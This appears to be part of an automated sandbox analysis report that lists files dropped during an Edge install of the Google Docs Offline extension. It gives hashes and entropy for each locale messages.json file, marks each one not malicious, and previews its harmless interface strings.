SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.631887382471946
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97f9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95MwP9KkJ+je:YwBrD2J2DBLMfFuWvdpY94vioO+uh
MD5:	1F565FB1C549B18AF8BBFED8DECD5D94
SHA1:	B57F4BDAE06FF3DFC1EB3E56B6F2F204D6F63638
SHA-256:	E16325D1A641EF7421F2BAFCD6433D53543C89D498DD96419B03CBA60B9C7D60
SHA-512:	A60B8E042A9BCDCC136B87948E9924A0B24D67C6CA9803904B876F162A0AD82B9619F1316BE9FF107DD143B44F7E6F5DF604ABFE00818DEB40A7D62917CDA69F
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1880
Entropy (8bit):	4.295185867329351
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/UGG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZZ
MD5:	8E16966E815C3C274EEB8492B1EA6648
SHA1:	7482ED9F1C9FD9F6F9BA91AB15921B19F64C9687
SHA-256:	418FF53FCA505D54268413C796E4DF80E947A09F399AB222A90B81E93113D5B5
SHA-512:	85B28202E874B1CF45B37BA05B87B3D8D6FE38E89C6011C4240CF6B563EA6DA60181D712CCE20D07C364F4A266A4EC90C4934CC8B7BB2013CB3B22D755796E38
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\mr\messages.json

Download File

